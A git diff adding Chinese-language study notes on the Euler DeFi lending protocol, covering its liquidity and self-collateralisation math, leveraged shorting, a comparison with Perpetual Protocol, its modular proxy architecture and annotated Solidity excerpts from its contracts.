+在之前的 case 6 中，我们分别记录了 `Self_Collateral` 和 `Self_Liability` 的数量，来计算这其中的利息差值。但是这种做法在智能合约中会存在很大的问题，因为这样计算，总是会在用户 `mint` 或者 `burn` 时去修改这两个 storage 变量（昂贵的 `SSTORE` 操作），并且每一位用户的每一种资产都需要单独设置两个变量记录 `Self_Collateral` 和 `Self_Liability`，在实际业务中，如此操作显然是不合理的。
+
+Euler 对此进行了算法优化，不需要为每一位用户的每一种资产单独记录两个变量，省去了频繁的 `SSTORE` 操作。
+
+1. 首先 `Self_Collateral` 与 `Collateral` 利率相同, `Self_Liability` 与 `Liabilities` 利率相同， 之所以需要把抵押资产和负债资产各分为两类，根本原因是因为他们的风险价值调整系数不同（请看上文中的调整系数列表），对 Liquidity 的影响不同
+2. 如果能排除同时 deposit 和 borrow 同一种资产的情况，则能大大简化区分 self 数量的步骤；
+   - 例如用户 deposit 3000 USDC， 又 borrow 1000 USDC，如果依然保留 3000 USDC 的抵押 和 1000 USDC 的债务，将会大大增加区分 self 部分的复杂性
+   - 因此 Euler 对于这种情况的处理是直接从 deposit 中扣除 borrow ，即当用户 borrow 1000 USDC 时，实际上是没有产生新的债务，而是直接减少抵押的部分，变为 2000 USDC
+3. 有了上述约束，我们在计算每种资产的 self 部分和非 self 部分时，就可以先假设该资产的所有债务都是 `Self_Liability` ，进而推导 `Self_Collateral = Self_Collateral_RA / SCF = Self_Liability / SCF`
+4. 如果推导出的 `Self_Collateral` 比实际该资产的抵押要大，重设为实际的抵押数量，而剩下的未抵消的 `Self_Liability` 应计入 `Liabilities`
+
+下面是 Euler 合约中关于流动性计算的主要代码逻辑和注释：
+
+```solidity
+// contracts/modules/RiskManager.sol
+
+function computeLiquidityRaw(
+    address account,
+    address[]
+    memory
+    underlyings
+)
+    private view returns (LiquidityStatus memory status)
+{
+
+    ...
+
+    // compute Liquidity every asset
+    for (uint i = 0; i < underlyings.length; ++i) {
+        ...
+
+        // balance and owned are storage variables, not the latest value
+        uint balance = assetStorage.users[account].balance;  // balanceOf EToken
+        uint owed = assetStorage.users[account].owed;        // balanceOf DToken
+
+        // If user has Liabilities in this asset, should compute
+        // both Liabilities and collateral, otherwise, accumulate
+        // collateralValue memory variable directly
+        if (owed != 0) {
+            ...
+
+            // The latest balanceOf DToken,
+            // often different from owed (greater)
+            uint assetLiability = getCurrentOwed(
+                                    assetStorage,
+                                    assetCache,
+                                    account
+                                  );
+
+            // self-collateralization
+            // If balance of EToken is not zero,
+            // means user has collateral in this asset
+            if (balance != 0) {
+                // User's actually collateral balance of underlying
+                uint balanceInUnderlying = balanceToUnderlyingAmount(
+                    assetCache, balance
+                );
+
+                // CONFIG_FACTOR_SCALE for adjusting decimals (1 in uint32)
+                // SELF_COLLATERAL_FACTOR is constant value (0.95)
+
+                // selfAmount cache Liabilities amount (Self_Collateral_RA)
+                // First of all, we assume that all debt are Self_Liability,
+                // then we can get Self_Collateral
+                // Self_Collateral * SCF = Self_Collateral_RA = Self_Liability
+                // Self_Collateral = Self_Liability / SCF
+                uint selfAmount = assetLiability;
+                uint selfAmountAdjusted =
+                        assetLiability * CONFIG_FACTOR_SCALE / SELF_COLLATERAL_FACTOR;
+
+                // If assetLiability > all collateral of the asset at this time,
+                // this is obviously. unreasonable, indicating that the assumption
+                // does not hold. So we reset Self_Collateral to balanceInUnderlying
+                // and the remaining part of
+                // assetLiability - balanceInUnderlying is the actual Liabilities
+                if (selfAmountAdjusted > balanceInUnderlying) {
+                    selfAmount = balanceInUnderlying * 
+                                    SELF_COLLATERAL_FACTOR / CONFIG_FACTOR_SCALE;
+                    selfAmountAdjusted = balanceInUnderlying;
+                }
+
+                {
+                    // (balanceInUnderlying - selfAmountAdjusted)*BF*price is
+                    // actually Collateral_RA without Self_Collateral
+                    uint assetCollateral = 
+                        (balanceInUnderlying - selfAmountAdjusted) *
+                            config.collateralFactor /
+                            CONFIG_FACTOR_SCALE;
+                    assetCollateral += selfAmount;
+                    // accumulate collateralValue
+                    status.collateralValue += assetCollateral * price / 1e18;
+                }
+
+                // Liabilities without Self_Liabilities
+                assetLiability -= selfAmount;
+                status.liabilityValue += selfAmount * price / 1e18;
+                ...
+            }
+
+            // accumulate debt without self-liabilities
+            // this part use borrowFactor is different from
+            // self_collateral_factor (constant 0.95)
+            assetLiability = assetLiability * price / 1e18;
+            assetLiability = config.borrowFactor != 0 ?
+                assetLiability * CONFIG_FACTOR_SCALE / config.borrowFactor :
+                MAX_SANE_DEBT_AMOUNT;
+            status.liabilityValue += assetLiability;
+        } else if (balance != 0 && config.collateralFactor != 0) {
+            // owed == 0 && balance != 0
+            // user only have Collateral in this asset
+
+            ...
+
+            // convert Etoken amount to Underlying_amount
+            // collateralValue += Underlying_amount * collateralFactor
+            uint balanceInUnderlying = balanceToUnderlyingAmount(assetCache, balance);
+            uint assetCollateral = balanceInUnderlying * price / 1e18;
+            assetCollateral =
+                assetCollateral * config.collateralFactor / CONFIG_FACTOR_SCALE;
+            status.collateralValue += assetCollateral;
+        }
+    }
+}
+```
+
+## Short
+
+### Short with Leverage
+
+Euler 允许使用杠杆做空。假设使用 WETH 做空 UNI (ShortOn: UNI, Against: WETH)：
+
+1. 首先 deposit 1 WETH
+2. mint 价值 3 WETH 的 UNI，则会同时产生 3 WETH 价值的抵押和债务
+3. 其中 `3 * 0.95 = 2.85 WETH` 价值的 `Self_Liability` 被 3WETH 价值的 `Self_Collateral` 抵消
+4. 产生了 `3 * (1 - 0.95) = 0.15 WETH` 价值的 `Liabilities`
+5. 调用 Euler 的 swap 接口，Euler 合约会将 UNI-EToken 转换成 UNI ，然后去 UNI-WETH uniV3Pool 中兑换成等值的 WETH，最后 Euler 合约转换成 WETH-EToken 返回给用户
+6. 一段时间后，当 UNI 价格下降，用户的 UNI-DToken 债务价值下降，此时用户用 WETH-EToken 去兑换 UNI-EToken 将花费更少，剩下未兑换部分 WETH-EToken 作为做空的利润
+7. 我们先忽略这段时间借贷利息的成本和抵押的资产收益，假设 UNI-DToken 的价值由于价格下跌减小了 1%，那么用户将获利将是 3 WETH 债务的 1% ，即 0.03 WETH，相较于用户直接做空 1 WETH 的 UNI 获利 0.01 WETH，上述方式获得了 3 倍杠杆的加成
+
+### short scripts
+
+由于 Euler 前端代码暂未开源(截止 2022 年 5 月 10 日)，我们编写了交互脚本与 Euler 合约交互，模拟使用 Euler mint 特性来使用 WETH 做空 UNI。这里使用 fork-mainnet 网络模拟交易环境。
+
+- Euler-scripts 与合约交互操作的脚本示例: <https://github.com/0x-stan/euler-scripts>
+
+## Euler vs. Perpetual
+
+Euler 其独有的杠杆借贷机制使得借贷协议同时具备了杠杆做多和杠杆做空的功能。那么与当前的主流永续合约 Defi 项目 Perpetual Protocol 相比如何呢？
+
+Perptual Protocol 永续协议是基于 Uniswap V3 实现的去中心化永续合约交易协议，其实现思路是将用户的抵押资产与交易资产分隔开来，抵押资产存入 Vault 模块，而永续合约市场所交易的实际上是协议内部生成的 virtual token。
+
+![Perp v1 & v2 Architecture](https://camo.githubusercontent.com/0c44b1fdf87108a0d82b2c05245657537212ff22aa737e6426b7074a18e69cce/68747470733a2f2f6c68342e676f6f676c6575736572636f6e74656e742e636f6d2f527a76716d53376d3065774a78515732645879345f6465595a6432664a446b556a6a485a705052323135776c523666736e77574e346c55326e76746d4a524250543155673271786d467943424462694847735a6c65527956593855636e53646e6a554d30364c56715f30664e396742483878397150464a354366684a427a32654a654d574f7466466d6c6848357834587567)
+
+如上图所示，Perp v1 和 v2 都有一个 vAMM 模块（Uniswap pool），交易对 token 都是 vToken(virtual token) ，永续合约的交易实际上就是做 vToken 的交易，而得益于 vToken 只是在协议内部流通，Perp 可以根据用户设置的杠杆倍数来 mint vToken 的数量。
+
+Euler 与 Perpetual V2 永续合约功能的特性对比：
+
+| Features     | Euler                   | Perpetual V2                 |
+| ------------ | ----------------------- | ---------------------------- |
+| Max Leverage | < 10X(根据 Factor 计算) | 10X                          |
+| Trade Cost   | Borrowing interest cost | Funding Payments & Swap fees |
+| Price Oracle | UniswapV3 TWAP          | Chainlink                    |
+| limit order  | 不支持                  | 未来会支持                   |
+
+- 做多与做空的最大杠杆倍数
+  - Perp V2 目前最大杠杆被设定为 10 倍;
+  - Euler 要根据抵押资产和做空资产的 factor 计算，通常小于 10 倍 （使用前端的 Short/Long 功能）;
+- 交易成本
+  - Perp V2 的交易成本除了永续合约的 Funding Payments，还有 vToken 做 Swap 时产生的交易费
+  - Euler 对于永续合约交易者而言，其成本是借贷利息费用的支出；当然由于用户抵押资产有一个利息收入，另外目前 Euler 开启了流动性挖矿，借贷资产还有额外的 EUL token 奖励，计算交易成本时还需要考虑这两部分的收益，实际的交易费用支出会比较小，甚至根据 EUL 价格的波动，还可能出现无费用的情况；
+- 价格预言机（永续合约中的 Index Price）
+  - Perp V2 主要使用 Chainlink 作为喂价来源（链下数据）
+  - Euler 则完全依赖 Uniswap V3 pool TWAP (链上数据)
+- 永续合约的限价单功能
+  - Perp V2 理论上可以实现 limit order 功能，项目方目前也在开发中
+  - Euler 目前没有规划此功能
+
+可以看出 Euler 与 Perpetual 各有优势。 Euler 虽然是基于借贷协议的框架，却凭借其独有的杠杆借贷算法机制实现了永续合约功能，是一项颇具巧思的创新。
diff --git a/defi/Euler/ModuleProxyMode.md b/defi/Euler/ModuleProxyMode.md
new file mode 100644
index 000000000..043054ad0
--- /dev/null
+++ b/defi/Euler/ModuleProxyMode.md
@@ -0,0 +1,66 @@
+# Euler's Module Proxy Mode
+
+Euler 在代码工程实现上有很多值得借鉴的地方，这里讨论一下其合约的模块化可升级架构。为了方便理解，笔者抽取一部分源代码，实现了一个最简的[ModuleProxy demo](https://github.com/0x-stan/euler-module-proxy)
+
+<!-- ![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-Module-Proxy%402x.png) -->
+
+传统的 Proxy 模式是没有模块化的，Euler 对其进行改进，使得不同模块可以单独升级。整体的架构是一个主入口代理合约 MainProxy，一个 Installer 模块，以及其他的功能模块，其中每个模块都有一个 Implementation 合约(执行逻辑)和一个 ModuleProxy 合约(代理)
+
+![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-module-proxy-01.png)
+
+## 合约的部署流程
+
+1. 部署 Installer 模块的 Implementation(执行逻辑合约)
+2. 传入 1 的地址作为入参，部署 MainProxy 主入口合约
+3. MainProxy 造函数会通过 ModuleProxy 模板创建一个 Installer 模块的 Proxy 合约，并将两者地址绑定(mapping)
+
+![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-module-proxy-02.png)
+
+## 功能模块安装/升级流程
+
+1. 部署新模块的 Implementation 合约（可部署多个模块）
+2. 将新模块的地址数组传入 Installer Proxy，调用 InstallModules()函数
+3. 函数内部会遍历这些模块，并为其创建模块的 ModuleProxy 合约
+4. 将每个新模块的 Implementation 和 ModuleProxy 绑定(mapping)，完成新模块安装
+
+![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-module-proxy-03.png)
+
+## 用户调用模块功能接口流程
+
+1. 向模块的 ModuleProxy 发起调用(注意不是 MainProxy)
+2. ModuleProxy 会使用 call 操作码来调用 MainProxy 的 dispatch 函数
+3. dispatch 函数会使用 delegatecall 操作码来调用模块的 Implementation 执行逻辑合约
+
+![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-module-proxy-04.png)
+
+调用过程非常绕，但是这么做有很大的优势。由于最终是由 MainProxy 使用 delegatecall 调用具体逻辑，所以 Euler 合约的主要状态都存储在主入口代理合约 MainProxy 上，而模块的安装/升级并不会影响协议的状态。
+
+## 主要代码逻辑
+
+下面来看一下主要的代码逻辑，首先是 ModuleProxy 的 fallback，当我们发起调用时，会进入这里的 assembly 代码块，会先将我们的 calldata 重组：
+
+```bash
+dispatch selector + calldata + caller address
+```
+
+然后使用 call 操作码调用 MainProxy，由于所有模块的 Proxy 都是由 MainProxy 创建，所以模块 Proxy 的 creator 就是 MainProxy
+
+![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-module-proxy-05.png)
+
+接下来进入 MainProxy 的 dispatch 函数，首先会检查 calldata 长度，因为从 ModuleProxy 发送过来的调用都会进行重组，所以合法的调用长度是大于等于 28 字节
+
+```bash
+4 dispatch selector+4 some function selector + (payload) + 20 caller address
+```
+
+接着使用 delegatecall 操作码调用模块的执行逻辑合约
+
+![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-module-proxy-06.png)
+
+> 注意：ModuleProxy 中使用 call 调用，而 MainProxy 中使用 delegatecall 调用，所以函数运行逻辑在模块的 Implementation 中，而所使用的状态在 MainProxy 中
+
+还有一个很精彩的地方：event log 记录在模块的 Proxy 中。在 fallback 中有一个条件语句，当使用模块中类似 emitViaProxy_Transfer 函数发出 event log 时，日志会被分门别类的记录在不同模块的 Proxy 中，而不会全部堆叠在 MainProxy 中。
+
+![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-module-proxy-07.png)
+
+![](https://github.com/0x-stan/euler-module-proxy/blob/main/img/Euler-module-proxy-08.png)
diff --git a/defi/Euler/README.md b/defi/Euler/README.md
new file mode 100644
index 000000000..b3a12b51d
--- /dev/null
+++ b/defi/Euler/README.md
@@ -0,0 +1,170 @@
+# Euler Protocol
+
+## 原理
+
+- Euler 白皮书： <https://docs.euler.finance/getting-started/white-paper>
+- Euler 白皮书（CN）：<https://docs.euler.finance/languages/white-paper-eng-chn>
+
+- Dapp-Learning sharing meetup Euler 白皮书解析:
+
+  - <https://www.youtube.com/watch?v=1pyHuE2qMLE>
+  - <https://www.youtube.com/watch?v=mDeoYknMx_M>
+
+## Liquidity
+
+借贷协议中的 Liquidity 概念首先由 Compound 提出 [Account Liquidity](https://compound.finance/docs/comptroller#account-liquidity)，即用户每一种进入 Markets 的资产都需要乘以相应的 Collateral Factor 累加起来，然后扣除用户每一种借贷资产的价值总和。
+
+![Euler-ComputeLiquidity.png](./img/Compound-Liquidity.png)
+
+而 Euler 中的 Liquidity 在 Compound 基础上做改进，不仅抵押资产计算价值时需要乘以 `Collateral Factor`，债务资产也需要除以 `Borrow Factor` 做价值调整；另外由于其特有的 mint 机制，在计算时还需要考虑 `Self-Collateral` 和 `Self-Liability`。
+
+![Euler-ComputeLiquidity.png](./img/Euler-Liquidity.png)
+
+```math
+Liquidity = Collateral - Liabilities + (Self-Collateral - Self-Liability)
+```
+
+注意流动性的资产价值都需要乘以一个价值调整系数，上述四个部分的调整系数都不同，下文中将详细介绍。
+
+`Self-Collateral` 和 `Self-Liability`，这两者的价值在 Euler 的算法机制下总是会保持一致，即 self 部分的抵押和负债价值会相互抵消，所以实际上流动性的表达最终如下：
+
+```math
+Liquidity = Collateral - Liabilities
+```
+
+### HealthScore
+
+健康系数，与 Compound 类似，是总抵押价值和负债价值的价值，两者都经过 factor 调整，不同资产的抵押和借贷的 factor 不同（CF, BF）。当抵押与借贷相等，`HealthScore` 为 1，处于临界点，一旦小于 1 则可以被清算。
+
+### Self-Collateralisation
+
+区别于其他的借贷协议，Euler 独有的 Self-Collateralisation 概念，允许用户最多使用 19 倍杠杆做空或者挖矿。
+
+抵押资产分为 `Collateral` (前端页面中命名为 Supply) 和 `Self-Collateral`, 负债资产分为 `Liabilities` 和 `Self-Liability`，四种资产均有不同的价值调整系数 factor 。
+
+| Collateral               | factor | expression    | info                  |
+| ------------------------ | ------ | ------------- | --------------------- |
+| Collateral(DepositValue) | CF     | value \* CF   | decided by governance |
+| Self-Collateral          | 0.95   | value \* 0.95 | constant value        |
+| Liabitlies(BorrowValue)  | BF     | value / BF    | decided by governance |
+| Self-Liablity            | 1      | value / 1     | constant value        |
+
+- 常规抵押和负债，都会由社区投票决定其系数，CF, BF 都是小于 1 的数，前者比后者小
+  - Euler 在 Compound 的 CF 基础上增加了 BF，使得不同资产之间的风险调整更加灵活
+  - [Euler risk-factors-list](https://docs.euler.finance/risk-framework/risk-factors-list)
+- mint 操作会产生等价值的的抵押和债务，即价值 MintValue 的 DToken 和价值 MintValue 的 EToken （债务凭证与抵押凭证）
+- self 部分的资产价值调整系数都是固定值，Sefl-Collateral 固定为 0.95， Sefl-Liabilities 固定为 1，那么经过风险调整后 (Risk-adjusted) 的负债与抵押的资产价值关系是：
+  - `Self-Collateral * 0.95 = Self-Liability / 1`
+  - `Self-Collateral` 是和 MintValue 等值的抵押，但因为需要乘以 0.95 的风险调整系数，这只能抵消 0.95 倍的债务
+  - 而还有 0.05 倍的 MintValue 债务被直接计入了 `Liablities`
+
+### Compute Liquidity
+
+Euler 的所有资产都是以 WETH 计价，并从相应资产与 WETH 组成的交易对的 UniswapV3Pool 中获取 TWAP 价格，WETH 的价格恒等于 1。
+
+假设当下 USDC 的价格是 1/3000 WETH，我们将设想几种不同的场景，从易到难梳理计算流动性的逻辑：
+
+| symbol | CF   | BF   |
+| ------ | ---- | ---- |
+| USDC   | 0.9  | 0.94 |
+| WETH   | 0.88 | 0.91 |
+
+1. 用户只抵押了 3000 USDC，并未产生债务
+
+   - Liquidity 非常好计算，只需考虑 `Collateral`，即为 USDC 的抵押调整后价值
+   - `Liquidity = 3000 * p_USDC * CF = 3000 * (1 / 3000) * 0.9 = 0.9`
+
+2. 假设用户抵押了 3000 USDC，并借出 0.5 WETH
+
+   - Liquidity 将是 `Collateral - Liabilities`
+   - `Liquidity = 3000 * p_USDC * CF - 0.5 * p_WETH / BF = 0.9 - 0.5 * 1 / 0.91 = 0.3505`
+
+3. 假设用户抵押了 3000 USDC 价值 1 WETH，然后调用 mint 操作， MintValue 为 2 WETH
+
+   - mint 之后的 total-Collateral = 1 + 2 WETH, total-Liablity = 2 WETH
+   - Liquidity 将是 `Collateral - Liabilities + (Self-Collateral - Self-liability)`
+   - `(Self-Collateral - Self-liability)` 由于 self 部分总是债务和抵押相互抵消的，所以我们真正需要考虑的是，如何从总债务和总抵押中，区分出 Self 部分和原始的债务与抵押
+   - 由于 mint 操作会产生等量的债务和抵押，所以用户的债务和抵押将各增加 MintValue 的价值
+   - mint 操作首先会生成与 MintValue 等值的 `Self-Collateral`
+   - `Self-Collateral` 的调整价值可以借出等价的 `Self-Liability = Self-Collateral * SELF_COLLATERAL_FACTOR` , `SELF_COLLATERAL_FACTOR` 是固定系数 0.95
+   - 确定了 self 部分的抵押和负债价值，从总量中分别扣除，即为常规的抵押 `Collateral` 和负债 `Liabilities`
+   - `Collateral = total-Collateral - Self-Collateral = 3 - MintValue = 1`
+   - `Liabilities = MintValue - Self-Collateral * 0.95 = MintValue * (1 - 0.95)`
+   - `Liquidity = Collateral - Liabilities = 1 - 2 * (1 - 0.95) = 0.9`
+
+4. 假设用户抵押了 3000 USDC 价值 1 WETH，然后调用 mint 操作， MintValue 为 2 WETH，之后又 borrow 0.5 WETH
+
+   - 本次在 3 的情况下再 borrow 了 0.5 WETH，只需要按照常规债务计算这部分新增的债务即可
+   - `Liquidity = 1 - 2 * (1 - 0.95) - 0.5 / BF = 0.3505`
+
+5. 假设用户抵押了 1500 USDC 价值 0.5 WETH，和 0.5 WETH， mint 出 12 WETH 分别生成了 12 WETH-DToken 和 12 WETH-EToken
+
+   - 12 WETH-DToken 被 12 WETH-EToken \* 0.95 抵消后还剩下 12 \* (1 - 0.95) = 0.6 WETH 的债务，计入 Liabilities
+   - 由于 deposit 只存入了 0.5 WETH 其计入流动性的价值为 `0.5 * 0.88 = 0.44`, 而 `Liabilities = 0.6 / 0.91 = 0.6593`
+   - Liabilities 的 WETH 部分最终只能承担 0.44 WETH 的债务，剩下的 `0.6593 - 0.44 = 0.2193 WETH` 债务则需要由 Collateral 的 USDC 承担，用户在 WETH 资产上的 Liquidity 已经清零
+   - 而 USDC 的流动性则为 `Liquidity = 0.5 * 0.9 - 0.2193 = 0.2307`， WETH 流动性已经为 0，那么这也是总的 Liquidity
+
+#### Short and Max Leverage
+
+Euler 允许最大 19 倍杠杆用于做空，假设使用 WETH 做空 UNI (ShortOn: UNI, Against: WETH)
+
+1. 首先 deposit 1 WETH
+2. Mint 价值 19WETH 的 UNI，则会同时产生 19WETH 价值的抵押和债务（UNI-EToken, UNI-DToken）
+3. 其中 19 \* 0.95 = 18.05 WETH 价值的 Self-Liability 被 19WETH 价值的 Self-Collateral 抵消
+4. 产生了 19 \* (1 - 0.95) = 0.95 WETH 价值的 Liabilities
+5. 调用 Euler 的 swap 接口，Euler 合约会将 UNI-EToken 转换成 UNI ，然后去 UNI-WETH uniV3Pool 中兑换成等值的 WETH，最后 Euler 合约转换成 WETH-EToken 转回给用户
+6. 一段时间后，当 UNI 价格下降，用户的 UNI-DToken 债务价值下降，此时用户用 WETH-EToken 去兑换 UNI-EToken 将花费更少，会剩下部分 WETH-EToken 作为做空的利润
+7. 我们先忽略这段时间借贷利息的成本和抵押的资产收益，假设 UNI-DToken 的价值由于价格下跌减小了 1%，那么用户将获利将是 19 WETH 债务的 1% ，即 0.19 WETH，相较于用户直接做空 1 WETH 的 UNI 获利 0.01 WETH，上述方式获得了 19 倍杠杆的加成
+
+回看第 3 和 4，用户在 mint 之后的 Liquidity 其实已经为 0，HealthScore 已经变成 1，处于将要被清算的临界点，再想提高杠杆率，合约会禁止执行。
+
+为何最大杠杆是 19 倍的原因在于，每次 mint 所产生的相等数量的 EToken 和 DToken 并不能完全相互抵消，因为 `SELF_COLLATERAL_FACTOR = 0.95` 抵押的调整后价值总是比债务要少 (1 - 0.95), 这缺少的 0.05 倍的价值则被计入了 Liabilities，这部分需要使用用户 deposit 存入的抵押价值来抵消，最大不能超过 deposit 资产的调整价值 (需要乘以 CF)。于是有如下关系
+
+```math
+Liabilities = MintValue * (1 - 0.95)
+```
+
+Liabilities 的最大值就是 DepositValue，则最大 mint 价值则为
+
+```math
+MaxMintValue = DepositValue * CF / (1 - 0.95)  = DepositValue * CF * 20
+```
+
+其中杠杆部分是 `MaxMintValue - DepositValue * CF = DepositValue * CF * 19` 即是 Leverage 最大值 19 的由来。
+
+#### short scripts
+
+由于 Euler 前端代码暂未开源，我们编写了交互脚本与 Euler 合约交互，模拟使用 Euler mint 特性来使用 WETH 做空 UNI。这里使用 fork-mainnet 网络模拟交易环境。
+
+- Euler-scripts 与合约交互操作的脚本示例: <https://github.com/0x-stan/euler-scripts>
+
+### Dynamic Self Value
+
+Self 部分的资产价值会随着利息累加动态变化
+
+负债的 APY 通常比抵押高，所以负债的利息增长更快，导致 `Self-Liability` 的价值会逐渐超过 `Self-Collateral`，增长的负债会分为两部分。如果我们总是将负债和抵押分为总计四个部分去分别记录，将非常消耗 gas，Euler 对于这里的处理则是先假设所有负债都是 Self-Liability , 用于 self 部分的债务价值调整系数 factor 是恒定的 1，总是大于常规的 BF，利用这个价值计算的差异，则可以实时计算用户每个资产的四个部分的价值部分情况。
+
+- 首先 Euler 在计算单个资产流动性时，会优先将所有负债资产视为 `Self-Liability` ，再由公式推导 `Self-Collateral` 的数量
+- `Self-Collater = Self-Liability / 0.95`
+- 随着债务利息增长更快 `Self-Collater` 也会随之增长，而总抵押数量此时是没有变化的（不考虑用户 deposit 或者 withdraw），所以 `Collateral` 的数量会随之减少
+- 当推导得出的 `Self-Collateral` 未超过用户实际抵押的资产数量时，其常规抵押 Collateral 是总的抵押数量扣除 `Self-Collateral`, 而债务全部认为是 `Self-Liability` 常规债务则为 0
+- 当推导得出的 `Self-Collateral` 超过用户实际抵押的资产数量时，将以实际的数量为上限 (balanceInUnderlying) 重设其值
+  - 超出的债务部分将持续的被累计入 `Liability`
+
+### Liquidation
+
+Eluer 采用了不同的方式。我们不采用固定折扣，而是采用一个公式来确定某个仓位到底“缩水”多少。这是“一锤子买卖”，清算人从别无选择参与 PGA （priority gas auctions） 变成参与一种荷兰式拍卖。随着折扣慢慢增加，每个有意参与的清算者必须在当前的折扣水平下做出是否参与的决断。清算人 A 也许在 4%折扣时就可以盈利，但是清算人 B 的行动效率可能更高，在 3.5%折扣的时候就会果断出手。荷兰式拍卖会受到 Euler 上 TWAP 预言机的协助，因为一个价格冲击并不会使得价格立刻到达一个每个清算人都会盈利的奇点。随着时间变长，价格只会变得更加平滑，从而产生一系列可以清算的机会，而这还会限制 PGA。总的来说，这个过程会使得折扣价格和清算借款人的边际成本趋同。
+
+#### Stability Pools
+
+暂未实现。
+
+## 参考链接
+
+- dapp learning 分享会：
+  <https://docs.google.com/presentation/d/1rOjH4qjVAD-p6Pt8Woc7sFz4iRHdgZB6nt2BrTBICs8/edit#slide=id.p>
+- delphi lab，Dynamic interest rates using control theory：
+  <https://cdn.delphidigital.io/uploads/2021/06/Dynamic-Interest-Rate-Model-Based-On-Control-Theory.pdf>
+- defi 固定利率协议： <https://ethtaipei.mirror.xyz/dWxbQ8pmRGT-OcMR_p_VIEL-OJuqe9HJuP6K4DNTlyY>
+- Euler-scripts 与合约交互操作的脚本示例: <https://github.com/0x-stan/euler-scripts>
+- monetary mechanics: https://maroonmacro.substack.com/p/issue-50-trade-idea-short-steth?s=r
diff --git a/defi/Euler/contracts/BaseLogic.md b/defi/Euler/contracts/BaseLogic.md
new file mode 100644
index 000000000..ba6525df8
--- /dev/null
+++ b/defi/Euler/contracts/BaseLogic.md
@@ -0,0 +1,403 @@
+# Euler BaseLogic
+
+## Moudles
+
+Euler 一共9个模块，通过此函数创建 Proxy
+
+- `DToken`
+- `Etoken`
+- `Exec`
+- `Governance`
+- `Installer`
+- `Liquidiation`
+- `Markets`
+- `RiskManager`
+- `Swap`
+
+通过 `_createProxy` 新建模块 proxy
+
+```solidity
+function _createProxy(uint proxyModuleId) internal returns (address) {
+    require(proxyModuleId != 0, "e/create-proxy/invalid-module");
+    require(proxyModuleId <= MAX_EXTERNAL_MODULEID, "e/create-proxy/internal-module");
+
+    // If we've already created a proxy for a single-proxy module, just return it:
+
+    if (proxyLookup[proxyModuleId] != address(0)) return proxyLookup[proxyModuleId];
+
+    // Otherwise create a proxy:
+
+    address proxyAddr = address(new Proxy());
+
+    if (proxyModuleId <= MAX_EXTERNAL_SINGLE_PROXY_MODULEID) proxyLookup[proxyModuleId] = proxyAddr;
+
+    trustedSenders[proxyAddr] = TrustedSenderInfo({ moduleId: uint32(proxyModuleId), moduleImpl: address(0) });
+
+    emit ProxyCreated(proxyAddr, proxyModuleId);
+
+    return proxyAddr;
+}
+
+```
+
+## Account auth
+
+Euler 的子账户系统，并不是主次结构，即使用 mapping 或者数组结构在主账户下罗列序号，而是通过按位异或运算来生成新的地址，验证子账户隶属关系时，再通过按位或运算来判断结果是否相同。
+
+假设主账户地址为 0x45 (为了方便举例，假设地址是 uint32 类型)
+
+```js
+// primary account
+0x45
+
+// subaccounts
+0x45 ^ 0x0 // 0x45 1000101 subaccount 0 as primary
+0x45 ^ 0x1 // 0x44 1000100 subaccount 1
+0x45 ^ 0x2 // 0x47 1000111 subaccount 2
+0x45 ^ 0x3 // 0x46 1000110 subaccount 3
+...
+0x45 ^ 0xF // 0x4A 1001010 subaccount 15
+
+// subacounts verify get same result
+0x45 | 0xF // 0x4F 1001111
+0x44 | 0xF // 0x4F 1001111
+
+// not subaccount verify get different result
+0x3d | 0xF // 0x3F 111111
+
+```
+
+```solidity
+function getSubAccount(address primary, uint subAccountId) internal pure returns (address) {
+    require(subAccountId < 256, "e/sub-account-id-too-big");
+    return address(uint160(primary) ^ uint160(subAccountId));
+}
+
+function isSubAccountOf(address primary, address subAccount) internal pure returns (bool) {
+    return (uint160(primary) | 0xFF) == (uint160(subAccount) | 0xFF);
+}
+```
+
+参考：<https://twitter.com/0xTomoyo/status/1519292394126012418>
+
+## Entered markets array
+
+### getEnteredMarketsArray
+
+```solidity
+function getEnteredMarketsArray(address account) internal view returns (address[] memory) {
+    uint32 numMarketsEntered = accountLookup[account].numMarketsEntered;
+    address firstMarketEntered = accountLookup[account].firstMarketEntered;
+
+    address[] memory output = new address[](numMarketsEntered);
+    if (numMarketsEntered == 0) return output;
+
+    address[MAX_POSSIBLE_ENTERED_MARKETS] storage markets = marketsEntered[account];
+
+    output[0] = firstMarketEntered;
+
+    for (uint i = 1; i < numMarketsEntered; ++i) {
+        output[i] = markets[i];
+    }
+
+    return output;
+}
+```
+
+## AssetConfig
+
+### resolveAssetConfig
+
+从 storage 中取出并解析资产的配置
+
+- 负债系数 `borrowFactor` 是在计算真实负债资产与负债资产调整值的除数
+- 若该值为 `uint32.max` 即 `2**32 - 1`，表示使用默认值 `DEFAULT_BORROW_FACTOR`
+- TWAP 窗口期参数同理
+
+```solidity
+uint32 internal constant DEFAULT_BORROW_FACTOR = uint32(0.28 * 4_000_000_000);
+uint24 internal constant DEFAULT_TWAP_WINDOW_SECONDS = 30 * 60;
+
+function resolveAssetConfig(address underlying) internal view returns (AssetConfig memory) {
+    AssetConfig memory config = underlyingLookup[underlying];
+    // If address is zero, means config haven't initialized yet
+    require(config.eTokenAddress != address(0), "e/market-not-activated");
+
+    if (config.borrowFactor == type(uint32).max) config.borrowFactor = DEFAULT_BORROW_FACTOR;
+    if (config.twapWindow == type(uint24).max) config.twapWindow = DEFAULT_TWAP_WINDOW_SECONDS;
+
+    return config;
+}
+```
+
+## AssetCache
+
+### struct assetCache
+
+池内资产信息
+
+```ts
+// AssetCache
+
+struct AssetCache {
+    address underlying;
+
+    uint112 totalBalances;
+    uint144 totalBorrows;
+
+    uint96 reserveBalance;
+
+    uint interestAccumulator;
+
+    uint40 lastInterestAccumulatorUpdate;
+    uint8 underlyingDecimals;
+    uint32 interestRateModel;
+    int96 interestRate;
+    uint32 reserveFee;
+    uint16 pricingType;
+    uint32 pricingParameters;
+
+    uint poolSize; // result of calling balanceOf on underlying (in external units)
+
+    uint underlyingDecimalsScaler;
+    uint maxExternalAmount;
+}
+
+```
+
+### initAssetCache
+
+初始化一个资产信息缓存容器
+
